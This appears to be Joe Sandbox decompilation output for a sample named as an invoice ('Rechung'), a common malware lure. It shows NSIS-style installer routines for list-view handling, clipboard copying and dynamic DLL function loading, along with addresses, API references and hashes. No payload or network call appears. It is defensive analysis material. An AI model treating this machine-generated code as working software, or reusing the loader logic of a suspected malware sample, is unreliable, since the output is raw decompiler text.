				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E004041F4(_a4);
				if(( *0x7a8a3c & 0x00000003) != 0) {
					ShowWindow( *0x7a79f0, _t156);
					if(( *0x7a8a3c & 0x00000002) != 0) {
						 *0x7a79f0 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E00404229( *0x7a79e8);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x7a8a3c & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x0040540a
0x00405410
0x0040541a
0x0040541d
0x004055ac
0x004055b3
0x004055d0
0x004055d7
0x004055d7
0x004055dd
0x004055ea
0x00405608
0x0040560a
0x0040560b
0x00405612
0x00405668
0x00405668
0x0040566c
0x00000000
0x00000000
0x0040566e
0x00405671
0x00405674
0x00000000
0x00000000
0x0040567e
0x00405684
0x00405686
0x00405689
0x0040578b
0x00000000
0x0040578b
0x00405698
0x004056a3
0x004056ac
0x004056b3
0x004056b7
0x004056ba
0x004056c3
0x004056c9
0x004056cc
0x004056cc
0x004056dc
0x004056e2
0x004056e4
0x004056ed
0x004056f0
0x004056f7
0x004056fe
0x00405706
0x00405706
0x00405714
0x0040571a
0x0040571d
0x0040571d
0x00405724
0x0040572a
0x00405736
0x0040573d
0x00405746
0x00405748
0x0040574b
0x0040575a
0x0040575d
0x00405763
0x00405764
0x0040576a
0x0040576b
0x0040576c
0x0040576c
0x00405774
0x0040577f
0x00405785
0x00405785
0x00000000
0x004056e4
0x00405614
0x0040561a
0x0040564a
0x0040564c
0x00405652
0x00405654
0x0040565a
0x0040565d
0x0040565d
0x00405663
0x00000000
0x00405663
0x0040561e
0x00405628
0x00000000
0x004055ec
0x004055ec
0x004055f2
0x0040562d
0x00000000
0x00405636
0x004055fb
0x00405600
0x00405603
0x00000000
0x00405603
0x004055ea
0x00405423
0x00405427
0x0040542f
0x00405433
0x00405436
0x00405439
0x0040543c
0x0040543f
0x00405440
0x00405441
0x0040545a
0x0040545d
0x00405467
0x00405476
0x0040547e
0x00405486
0x0040548b
0x0040548e
0x0040549a
0x004054a3
0x004054ac
0x004054ce
0x004054d4
0x004054e5
0x004054ea
0x004054f8
0x00405506
0x00405506
0x0040550b
0x00405519
0x00405519
0x0040551e
0x00405521
0x00405526
0x00405532
0x0040553b
0x00405548
0x00405557
0x0040554a
0x0040554f
0x0040554f
0x00405563
0x00405563
0x00405577
0x00405580
0x00405589
0x00405599
0x004055a5
0x004055a5
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 00405460
GetDlgItem.USER32(?,000003EE), ref: 0040546F
GetClientRect.USER32(?,?), ref: 004054AC
GetSystemMetrics.USER32(00000002), ref: 004054B3
SendMessageW.USER32(?,00001061,00000000,?), ref: 004054D4
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004054E5
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004054F8
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405506
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405519
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040553B
ShowWindow.USER32(?,00000008), ref: 0040554F
GetDlgItem.USER32(?,000003EC), ref: 00405570
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405580
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405599
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055A5
GetDlgItem.USER32(?,000003F8), ref: 0040547E

Part of subcall function 00404229: SendMessageW.USER32(00000028,?,00000001,00404054), ref: 00404237

GetDlgItem.USER32(?,000003EC), ref: 004055C2
CreateThread.KERNEL32(00000000,00000000,Function_00005396,00000000), ref: 004055D0
CloseHandle.KERNELBASE(00000000), ref: 004055D7
ShowWindow.USER32(00000000), ref: 004055FB
ShowWindow.USER32(0001042A,00000008), ref: 00405600
ShowWindow.USER32(00000008), ref: 0040564A
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040567E
CreatePopupMenu.USER32 ref: 0040568F
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056A3
GetWindowRect.USER32(?,?), ref: 004056C3
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004056DC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405714
OpenClipboard.USER32(00000000), ref: 00405724
EmptyClipboard.USER32 ref: 0040572A
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405736
GlobalLock.KERNEL32(00000000), ref: 00405740
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405754
GlobalUnlock.KERNEL32(00000000), ref: 00405774
SetClipboardData.USER32(0000000D,00000000), ref: 0040577F
CloseClipboard.USER32 ref: 00405785

Strings

{, xrefs: 00405668

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 9d284ae0f5fa411ce8b3b3c4ed0d933085fe76abcea35dc230fd4f31131c6069
Instruction ID: afdd0f92e7f9204a51c28d187295685e71ab7a2983d4d38ccc6b07981ce020cc
Opcode Fuzzy Hash: 9d284ae0f5fa411ce8b3b3c4ed0d933085fe76abcea35dc230fd4f31131c6069
Instruction Fuzzy Hash: 6CB16AB1800608FFDB119FA0DD89DAE7B79FB48354F00812AFA45BA1A0CB795E51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E10001B18() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				WCHAR* _v44;
				signed int _v48;
				void* _v52;
				intOrPtr _v56;
				WCHAR* _t199;
				signed int _t202;
				void* _t204;
				void* _t206;
				WCHAR* _t208;
				void* _t216;
				struct HINSTANCE__* _t217;
				struct HINSTANCE__* _t218;
				struct HINSTANCE__* _t220;
				signed short _t222;
				struct HINSTANCE__* _t225;
				struct HINSTANCE__* _t227;
				void* _t228;
				intOrPtr* _t229;
				void* _t240;
				signed char _t241;
				signed int _t242;
				void* _t246;
				struct HINSTANCE__* _t248;
				void* _t249;
				signed int _t251;
				short* _t253;
				signed int _t259;
				void* _t260;
				signed int _t263;
				signed int _t266;
				signed int _t267;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				void* _t278;
				void* _t282;
				struct HINSTANCE__* _t284;
				signed int _t287;
				void _t288;
				signed int _t289;
				signed int _t301;
				signed int _t302;
				signed short _t308;
				signed int _t309;
				WCHAR* _t310;
				WCHAR* _t312;
				WCHAR* _t313;
				struct HINSTANCE__* _t314;
				void* _t316;
				signed int _t318;
				void* _t319;

				_t284 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t319 = 0;
				_v48 = 0;
				_t199 = E1000121B();
				_v24 = _t199;
				_v28 = _t199;
				_v44 = E1000121B();
				_t309 = E10001243();
				_v52 = _t309;
				_v12 = _t309;
				while(1) {
					_t202 = _v32;
					_v56 = _t202;
					if(_t202 != _t284 && _t319 == _t284) {
						break;
					}
					_t308 =  *_t309;
					_t287 = _t308 & 0x0000ffff;
					_t204 = _t287 - _t284;
					if(_t204 == 0) {
						_t33 =  &_v32;
						 *_t33 = _v32 | 0xffffffff;
						__eflags =  *_t33;
						L17:
						_t206 = _v56 - _t284;
						if(_t206 == 0) {
							__eflags = _t319 - _t284;
							 *_v28 = _t284;
							if(_t319 == _t284) {
								_t246 = GlobalAlloc(0x40, 0x1ca4); // executed
								_t319 = _t246;
								 *(_t319 + 0x1010) = _t284;
								 *(_t319 + 0x1014) = _t284;
							}
							_t288 = _v36;
							_t43 = _t319 + 8; // 0x8
							_t208 = _t43;
							_t44 = _t319 + 0x808; // 0x808
							_t310 = _t44;
							 *_t319 = _t288;
							_t289 = _t288 - _t284;
							__eflags = _t289;
							 *_t208 = _t284;
							 *_t310 = _t284;
							 *(_t319 + 0x1008) = _t284;
							 *(_t319 + 0x100c) = _t284;
							 *(_t319 + 4) = _t284;
							if(_t289 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L39;
								}
								_t316 = 0;
								GlobalFree(_t319);
								_t319 = E10001311(_v24);
								__eflags = _t319 - _t284;
								if(_t319 == _t284) {
									goto L39;
								} else {
									goto L32;
								}
								while(1) {
									L32:
									_t240 =  *(_t319 + 0x1ca0);
									__eflags = _t240 - _t284;
									if(_t240 == _t284) {
										break;
									}
									_t316 = _t319;
									_t319 = _t240;
									__eflags = _t319 - _t284;
									if(_t319 != _t284) {
										continue;
									}
									break;
								}
								__eflags = _t316 - _t284;
								if(_t316 != _t284) {
									 *(_t316 + 0x1ca0) = _t284;
								}
								_t241 =  *(_t319 + 0x1010);
								__eflags = _t241 & 0x00000008;
								if((_t241 & 0x00000008) == 0) {
									_t242 = _t241 | 0x00000002;
									__eflags = _t242;
									 *(_t319 + 0x1010) = _t242;
								} else {
									_t319 = E1000158F(_t319);
									 *(_t319 + 0x1010) =  *(_t319 + 0x1010) & 0xfffffff5;
								}
								goto L39;
							} else {
								_t301 = _t289 - 1;
								__eflags = _t301;
								if(_t301 == 0) {
									L28:
									lstrcpyW(_t208, _v44);
									L29:
									lstrcpyW(_t310, _v24);
									L39:
									_v12 = _v12 + 2;
									_v28 = _v24;
									L63:
									if(_v32 != 0xffffffff) {
										_t309 = _v12;
										continue;
									}
									break;
								}
								_t302 = _t301 - 1;
								__eflags = _t302;
								if(_t302 == 0) {
									goto L29;
								}
								__eflags = _t302 != 1;
								if(_t302 != 1) {
									goto L39;
								}
								goto L28;
							}
						}
						if(_t206 != 1) {
							goto L39;
						}
						_t248 = _v16;
						if(_v40 == _t284) {
							_t248 = _t248 - 1;
						}
						 *(_t319 + 0x1014) = _t248;
						goto L39;
					}
					_t249 = _t204 - 0x23;
					if(_t249 == 0) {
						__eflags = _t309 - _v52;
						if(_t309 <= _v52) {
							L15:
							_v32 = _t284;
							_v36 = _t284;
							goto L17;
						}
						__eflags =  *((short*)(_t309 - 2)) - 0x3a;
						if( *((short*)(_t309 - 2)) != 0x3a) {
							goto L15;
						}
						__eflags = _v32 - _t284;
						if(_v32 == _t284) {
							L40:
							_t251 = _v32 - _t284;
							__eflags = _t251;
							if(_t251 == 0) {
								__eflags = _t287 - 0x2a;
								if(_t287 == 0x2a) {
									_v36 = 2;
									L61:
									_t309 = _v12;
									_v28 = _v24;
									_t284 = 0;
									__eflags = 0;
									L62:
									_t318 = _t309 + 2;
									__eflags = _t318;
									_v12 = _t318;
									goto L63;
								}
								__eflags = _t287 - 0x2d;
								if(_t287 == 0x2d) {
									L131:
									__eflags = _t308 - 0x2d;
									if(_t308 != 0x2d) {
										L134:
										_t253 = _t309 + 2;
										__eflags =  *_t253 - 0x3a;
										if( *_t253 != 0x3a) {
											L141:
											_v28 =  &(_v28[0]);
											 *_v28 = _t308;
											goto L62;
										}
										__eflags = _t308 - 0x2d;
										if(_t308 == 0x2d) {
											goto L141;
										}
										_v36 = 1;
										L137:
										_v12 = _t253;
										__eflags = _v28 - _v24;
										if(_v28 <= _v24) {
											 *_v44 = _t284;
										} else {
											 *_v28 = _t284;
											lstrcpyW(_v44, _v24);
										}
										goto L61;
									}
									_t253 = _t309 + 2;
									__eflags =  *_t253 - 0x3e;
									if( *_t253 != 0x3e) {
										goto L134;
									}
									_v36 = 3;
									goto L137;
								}
								__eflags = _t287 - 0x3a;
								if(_t287 != 0x3a) {
									goto L141;
								}
								goto L131;
							}
							_t259 = _t251 - 1;
							__eflags = _t259;
							if(_t259 == 0) {
								L74:
								_t260 = _t287 - 0x22;
								__eflags = _t260 - 0x55;
								if(_t260 > 0x55) {
									goto L61;
								}
								switch( *((intOrPtr*)(( *(_t260 + 0x10002230) & 0x000000ff) * 4 +  &M100021CC))) {
									case 0:
										__ecx = _v24;
										__edi = _v12;
										while(1) {
											__edi = __edi + 1;
											__edi = __edi + 1;
											_v12 = __edi;
											__ax =  *__edi;
											__eflags = __ax - __dx;
											if(__ax != __dx) {
												goto L116;
											}
											L115:
											__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
											if( *((intOrPtr*)(__edi + 2)) != __dx) {
												L120:
												 *__ecx =  *__ecx & 0x00000000;
												__ebx = E1000122C(_v24);
												goto L91;
											}
											L116:
											__eflags = __ax;
											if(__ax == 0) {
												goto L120;
											}
											__eflags = __ax - __dx;
											if(__ax == __dx) {
												__edi = __edi + 1;
												__edi = __edi + 1;
												__eflags = __edi;
											}
											__ax =  *__edi;
											 *__ecx =  *__edi;
											__ecx = __ecx + 1;
											__ecx = __ecx + 1;
											__edi = __edi + 1;
											__edi = __edi + 1;
											_v12 = __edi;
											__ax =  *__edi;
											__eflags = __ax - __dx;
											if(__ax != __dx) {
												goto L116;
											}
											goto L115;
										}
									case 1:
										_v8 = 1;
										goto L61;
									case 2:
										_v8 = _v8 | 0xffffffff;
										goto L61;
									case 3:
										_v8 = _v8 & 0x00000000;
										_v20 = _v20 & 0x00000000;
										_v16 = _v16 + 1;
										goto L79;
									case 4:
										__eflags = _v20;
										if(_v20 != 0) {
											goto L61;
										}
										_v12 = _v12 - 2;
										__ebx = E1000121B();
										 &_v12 = E10001A9F( &_v12);
										__eax = E10001470(__edx, __eax, __edx, __ebx);
										goto L91;
									case 5:
										L99:
										_v20 = _v20 + 1;
										goto L61;
									case 6:
										_push(7);
										goto L107;
									case 7:
										_push(0x19);
										goto L127;
									case 8:
										_push(0x15);
										goto L127;
									case 9:
										_push(0x16);
										goto L127;
									case 0xa:
										_push(0x18);
										goto L127;
									case 0xb:
										_push(5);
										goto L107;
									case 0xc:
										__eax = 0;
										__eax = 1;
										goto L85;
									case 0xd:
										_push(6);
										goto L107;
									case 0xe:
										_push(2);
										goto L107;
									case 0xf:
										_push(3);
										goto L107;
									case 0x10:
										_push(0x17);
										L127:
										_pop(__ebx);
										goto L92;
									case 0x11:
										__eax =  &_v12;
										__eax = E10001A9F( &_v12);
										__ebx = __eax;
										__ebx = __eax + 1;
										__eflags = __ebx - 0xb;
										if(__ebx < 0xb) {
											__ebx = __ebx + 0xa;
										}
										goto L91;
									case 0x12:
										__ebx = 0xffffffff;
										goto L92;
									case 0x13:
										_v48 = _v48 + 1;
										_push(4);
										_pop(__eax);
										goto L85;
									case 0x14:
										__eax = 0;
										__eflags = 0;
										goto L85;
									case 0x15:
										_push(4);
										L107:
										_pop(__eax);
										L85:
										__edi = _v16;
										__ecx =  *(0x1000305c + __eax * 4);
										__edi = _v16 << 5;
										__edx = 0;
										__edi = (_v16 << 5) + __esi;
										__edx = 1;
										__eflags = _v8 - 0xffffffff;
										_v40 = 1;
										 *(__edi + 0x1018) = __eax;
										if(_v8 == 0xffffffff) {
											L87:
											__ecx = __edx;
											L88:
											__eflags = _v8 - __edx;
											 *(__edi + 0x1028) = __ecx;
											if(_v8 == __edx) {
												__eax =  &_v12;
												__eax = E10001A9F( &_v12);
												__eax = __eax + 1;
												__eflags = __eax;
												_v8 = __eax;
											}
											__eax = _v8;
											 *((intOrPtr*)(__edi + 0x101c)) = _v8;
											_t133 = _v16 + 0x81; // 0x81
											_t133 = _t133 << 5;
											__eax = 0;
											__eflags = 0;
											 *((intOrPtr*)((_t133 << 5) + __esi)) = 0;
											 *((intOrPtr*)(__edi + 0x1030)) = 0;
											 *((intOrPtr*)(__edi + 0x102c)) = 0;
											goto L91;
										}
										__eflags = __ecx;
										if(__ecx > 0) {
											goto L88;
										}
										goto L87;
									case 0x16:
										_t262 =  *(_t319 + 0x1014);
										__eflags = _t262 - _v16;
										if(_t262 > _v16) {
											_v16 = _t262;
										}
										_v8 = _v8 & 0x00000000;
										_v20 = _v20 & 0x00000000;
										_v36 - 3 = _t262 - (_v36 == 3);
										if(_t262 != _v36 == 3) {
											L79:
											_v40 = 1;
										}
										goto L61;
									case 0x17:
										__eax =  &_v12;
										__eax = E10001A9F( &_v12);
										__ebx = __eax;
										__ebx = __eax + 1;
										L91:
										__eflags = __ebx;
										if(__ebx == 0) {
											goto L61;
										}
										L92:
										__eflags = _v20;
										_v40 = 1;
										if(_v20 != 0) {
											L97:
											__eflags = _v20 - 1;
											if(_v20 == 1) {
												__eax = _v16;
												__eax = _v16 << 5;
												__eflags = __eax;
												 *(__eax + __esi + 0x102c) = __ebx;
											}
											goto L99;
										}
										_v16 = _v16 << 5;
										_t141 = __esi + 0x1030; // 0x1030
										__edi = (_v16 << 5) + _t141;
										__eax =  *__edi;
										__eflags = __eax - 0xffffffff;
										if(__eax <= 0xffffffff) {
											L95:
											__eax = GlobalFree(__eax);
											L96:
											 *__edi = __ebx;
											goto L97;
										}
										__eflags = __eax - 0x19;
										if(__eax <= 0x19) {
											goto L96;
										}
										goto L95;
									case 0x18:
										goto L61;
								}
							}
							_t263 = _t259 - 1;
							__eflags = _t263;
							if(_t263 == 0) {
								_v16 = _t284;
								goto L74;
							}
							__eflags = _t263 != 1;
							if(_t263 != 1) {
								goto L141;
							}
							_t266 = _t287 - 0x21;
							__eflags = _t266;
							if(_t266 == 0) {
								_v8 =  ~_v8;
								goto L61;
							}
							_t267 = _t266 - 0x42;
							__eflags = _t267;
							if(_t267 == 0) {
								L57:
								__eflags = _v8 - 1;
								if(_v8 != 1) {
									_t92 = _t319 + 0x1010;
									 *_t92 =  *(_t319 + 0x1010) &  !0x00000001;
									__eflags =  *_t92;
								} else {
									 *(_t319 + 0x1010) =  *(_t319 + 0x1010) | 1;
								}
								_v8 = 1;
								goto L61;
							}
							_t272 = _t267;
							__eflags = _t272;
							if(_t272 == 0) {
								_push(0x20);
								L56:
								_pop(1);
								goto L57;
							}
							_t273 = _t272 - 9;
							__eflags = _t273;
							if(_t273 == 0) {
								_push(8);
								goto L56;
							}
							_t274 = _t273 - 4;
							__eflags = _t274;
							if(_t274 == 0) {
								_push(4);
								goto L56;
							}
							_t275 = _t274 - 1;
							__eflags = _t275;
							if(_t275 == 0) {
								_push(0x10);
								goto L56;
							}
							__eflags = _t275 != 0;
							if(_t275 != 0) {
								goto L61;
							}
							_push(0x40);
							goto L56;
						}
						goto L15;
					}
					_t278 = _t249 - 5;
					if(_t278 == 0) {
						__eflags = _v36 - 3;
						_v32 = 1;
						_v8 = _t284;
						_v20 = _t284;
						_v16 = (0 | _v36 == 0x00000003) + 1;
						_v40 = _t284;
						goto L17;
					}
					_t282 = _t278 - 1;
					if(_t282 == 0) {
						_v32 = 2;
						_v8 = _t284;
						_v20 = _t284;
						goto L17;
					}
					if(_t282 != 0x16) {
						goto L40;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L17;
					}
				}
				GlobalFree(_v52);
				GlobalFree(_v24);
				GlobalFree(_v44);
				if(_t319 == _t284 ||  *(_t319 + 0x100c) != _t284) {
					L161:
					return _t319;
				} else {
					_t216 =  *_t319 - 1;
					if(_t216 == 0) {
						_t178 = _t319 + 8; // 0x8
						_t312 = _t178;
						__eflags =  *_t312 - _t284;
						if( *_t312 != _t284) {
							_t217 = GetModuleHandleW(_t312);
							__eflags = _t217 - _t284;
							 *(_t319 + 0x1008) = _t217;
							if(_t217 != _t284) {
								L150:
								_t183 = _t319 + 0x808; // 0x808
								_t313 = _t183;
								_t218 = E100015FF( *(_t319 + 0x1008), _t313);
								__eflags = _t218 - _t284;
								 *(_t319 + 0x100c) = _t218;
								if(_t218 == _t284) {
									__eflags =  *_t313 - 0x23;
									if( *_t313 == 0x23) {
										_t186 = _t319 + 0x80a; // 0x80a
										_t222 = E10001311(_t186);
										__eflags = _t222 - _t284;
										if(_t222 != _t284) {
											__eflags = _t222 & 0xffff0000;
											if((_t222 & 0xffff0000) == 0) {
												 *(_t319 + 0x100c) = GetProcAddress( *(_t319 + 0x1008), _t222 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v48 - _t284;
								if(_v48 != _t284) {
									L157:
									_t313[lstrlenW(_t313)] = 0x57;
									_t220 = E100015FF( *(_t319 + 0x1008), _t313);
									__eflags = _t220 - _t284;
									if(_t220 != _t284) {
										L145:
										 *(_t319 + 0x100c) = _t220;
										goto L161;
									}
									__eflags =  *(_t319 + 0x100c) - _t284;
									L159:
									if(__eflags != 0) {
										goto L161;
									}
									L160:
									_t197 = _t319 + 4;
									 *_t197 =  *(_t319 + 4) | 0xffffffff;
									__eflags =  *_t197;
									goto L161;
								} else {
									__eflags =  *(_t319 + 0x100c) - _t284;
									if( *(_t319 + 0x100c) != _t284) {
										goto L161;
									}
									goto L157;
								}
							}
							_t225 = LoadLibraryW(_t312);
							__eflags = _t225 - _t284;
							 *(_t319 + 0x1008) = _t225;
							if(_t225 == _t284) {
								goto L160;
							}
							goto L150;
						}
						_t179 = _t319 + 0x808; // 0x808
						_t227 = E10001311(_t179);
						 *(_t319 + 0x100c) = _t227;
						__eflags = _t227 - _t284;
						goto L159;
					}
					_t228 = _t216 - 1;
					if(_t228 == 0) {
						_t176 = _t319 + 0x808; // 0x808
						_t229 = _t176;
						__eflags =  *_t229 - _t284;
						if( *_t229 == _t284) {
							goto L161;
						}
						_t220 = E10001311(_t229);
						L144:
						goto L145;
					}
					if(_t228 != 1) {
						goto L161;
					}
					_t80 = _t319 + 8; // 0x8
					_t285 = _t80;
					_t314 = E10001311(_t80);
					 *(_t319 + 0x1008) = _t314;
					if(_t314 == 0) {
						goto L160;
					}
					 *(_t319 + 0x104c) =  *(_t319 + 0x104c) & 0x00000000;
					 *((intOrPtr*)(_t319 + 0x1050)) = E1000122C(_t285);
					 *(_t319 + 0x103c) =  *(_t319 + 0x103c) & 0x00000000;
					 *((intOrPtr*)(_t319 + 0x1048)) = 1;
					 *((intOrPtr*)(_t319 + 0x1038)) = 1;
					_t89 = _t319 + 0x808; // 0x808
					_t220 =  *(_t314->i + E10001311(_t89) * 4);
					goto L144;
				}
			}

0x10001b20
0x10001b23
0x10001b26
0x10001b29
0x10001b2c
0x10001b2f
0x10001b32
0x10001b34
0x10001b37
0x10001b3c
0x10001b3f
0x10001b47
0x10001b4f
0x10001b51
0x10001b54
0x10001b5c
0x10001b5c
0x10001b61
0x10001b64
0x00000000
0x00000000
0x10001b6e
0x10001b71
0x10001b76
0x10001b78
0x10001beb
0x10001beb
0x10001beb
0x10001bef
0x10001bf2
0x10001bf4
0x10001c16
0x10001c18
0x10001c1b
0x10001c24
0x10001c2a
0x10001c2c
0x10001c32
0x10001c32
0x10001c38
0x10001c3b
0x10001c3b
0x10001c3e
0x10001c3e
0x10001c44
0x10001c46
0x10001c46
0x10001c48
0x10001c4b
0x10001c4e
0x10001c54
0x10001c5a
0x10001c5d
0x10001c81
0x10001c84
0x00000000
0x00000000
0x10001c87
0x10001c89
0x10001c97
0x10001c9a
0x10001c9c
0x00000000
0x00000000
0x00000000
0x00000000
0x10001c9e
0x10001c9e
0x10001c9e
0x10001ca4
0x10001ca6
0x00000000
0x00000000
0x10001ca8
0x10001caa
0x10001cac
0x10001cae
0x00000000
0x00000000
0x00000000
0x10001cae
0x10001cb0
0x10001cb2
0x10001cb4
0x10001cb4
0x10001cba
0x10001cc0
0x10001cc2
0x10001cd6
0x10001cd6
0x10001cd8
0x10001cc4
0x10001cca
0x10001ccd
0x10001ccd
0x00000000
0x10001c5f
0x10001c5f
0x10001c5f
0x10001c60
0x10001c68
0x10001c6c
0x10001c72
0x10001c76
0x10001cde
0x10001ce1
0x10001ce5
0x10001d70
0x10001d74
0x10001b59
0x00000000
0x10001b59
0x00000000
0x10001d74
0x10001c62
0x10001c62
0x10001c63
0x00000000
0x00000000
0x10001c65
0x10001c66
0x00000000
0x00000000
0x00000000
0x10001c66
0x10001c5d
0x10001bf7
0x00000000
0x00000000
0x10001c00
0x10001c03
0x10001c10
0x10001c10
0x10001c05
0x00000000
0x10001c05
0x10001b7a
0x10001b7d
0x10001bce
0x10001bd1
0x10001be3
0x10001be3
0x10001be6
0x00000000
0x10001be6
0x10001bd3
0x10001bd8
0x00000000
0x00000000
0x10001bda
0x10001bdd
0x10001ced
0x10001cf0
0x10001cf0
0x10001cf2
0x10002048
0x1000204b
0x100020b2
0x10001d60
0x10001d63
0x10001d66
0x10001d69
0x10001d69
0x10001d6b
0x10001d6c
0x10001d6c
0x10001d6d
0x00000000
0x10001d6d
0x1000204d
0x10002050
0x10002057
0x10002057
0x1000205b
0x1000206f
0x1000206f
0x10002072
0x10002076
0x100020be
0x100020c1
0x100020c5
0x00000000
0x100020c5
0x10002078
0x1000207c
0x00000000
0x00000000
0x1000207e
0x10002085
0x10002085
0x1000208b
0x1000208e
0x100020aa
0x10002090
0x10002099
0x1000209c
0x1000209c
0x00000000
0x1000208e
0x1000205d
0x10002060
0x10002064
0x00000000
0x00000000
0x10002066
0x00000000
0x10002066
0x10002052
0x10002055
0x00000000
0x00000000
0x00000000
0x10002055
0x10001cf8
0x10001cf8
0x10001cf9
0x10001e29
0x10001e29
0x10001e2e
0x10001e31
0x00000000
0x00000000
0x10001e3e
0x00000000
0x10001fe5
0x10001fe8
0x10001feb
0x10001feb
0x10001fec
0x10001fed
0x10001ff0
0x10001ff3
0x10001ff6
0x00000000
0x00000000
0x10001ff8
0x10001ff8
0x10001ffc
0x10002014
0x10002017
0x10002021
0x00000000
0x10002021
0x10001ffe
0x10001ffe
0x10002001
0x00000000
0x00000000
0x10002003
0x10002006
0x10002008
0x10002009
0x10002009
0x10002009
0x1000200a
0x1000200d
0x10002010
0x10002011
0x10001feb
0x10001fec
0x10001fed
0x10001ff0
0x10001ff3
0x10001ff6
0x00000000
0x00000000
0x00000000
0x10001ff6
0x00000000
0x10001e85
0x00000000
0x00000000
0x10001e91
0x00000000
0x00000000
0x10001e78
0x10001e7c
0x10001e80
0x00000000
0x00000000
0x10001fb6
0x10001fba
0x00000000
0x00000000
0x10001fc0
0x10001fc9
0x10001fd0
0x10001fd8
0x00000000
0x00000000
0x10001f53
0x10001f53
0x00000000
0x00000000
0x10001e9a
0x00000000
0x00000000
0x10002040
0x00000000
0x00000000
0x10002030
0x00000000
0x00000000
0x10002034
0x00000000
0x00000000
0x1000203c
0x00000000
0x00000000
0x10001f76
0x00000000
0x00000000
0x10001f5b
0x10001f5d
0x00000000
0x00000000
0x10001f7e
0x00000000
0x00000000
0x10001f63
0x00000000
0x00000000
0x10001f67
0x00000000
0x00000000
0x10002038
0x10002042
0x10002042
0x00000000
0x00000000
0x10001f86
0x10001f8a
0x10001f8f
0x10001f92
0x10001f93
0x10001f96
0x10001f9c
0x10001f9c
0x00000000
0x00000000
0x10002028
0x00000000
0x00000000
0x10001f6b
0x10001f6e
0x10001f70
0x00000000
0x00000000
0x10001ea1
0x10001ea1
0x00000000
0x00000000
0x10001f7a
0x10001f80
0x10001f80
0x10001ea3
0x10001ea3
0x10001ea6
0x10001ead
0x10001eb0
0x10001eb2
0x10001eb4
0x10001eb5
0x10001eb9
0x10001ebc
0x10001ec2
0x10001ec8
0x10001ec8
0x10001eca
0x10001eca
0x10001ecd
0x10001ed3
0x10001ed5
0x10001ed9
0x10001ede
0x10001ede
0x10001ee0
0x10001ee0
0x10001ee3
0x10001ee6
0x10001eef
0x10001ef5
0x10001ef8
0x10001ef8
0x10001efa
0x10001efd
0x10001f03
0x00000000
0x10001f03
0x10001ec4
0x10001ec6
0x00000000
0x00000000
0x00000000
0x00000000
0x10001e45
0x10001e4b
0x10001e4e
0x10001e50
0x10001e50
0x10001e53
0x10001e57
0x10001e64
0x10001e66
0x10001e6c
0x10001e6c
0x10001e6c
0x00000000
0x00000000
0x10001fa4
0x10001fa8
0x10001fad
0x10001fb0
0x10001f09
0x10001f09
0x10001f0b
0x00000000
0x00000000
0x10001f11
0x10001f11
0x10001f15
0x10001f1c
0x10001f40
0x10001f40
0x10001f44
0x10001f46
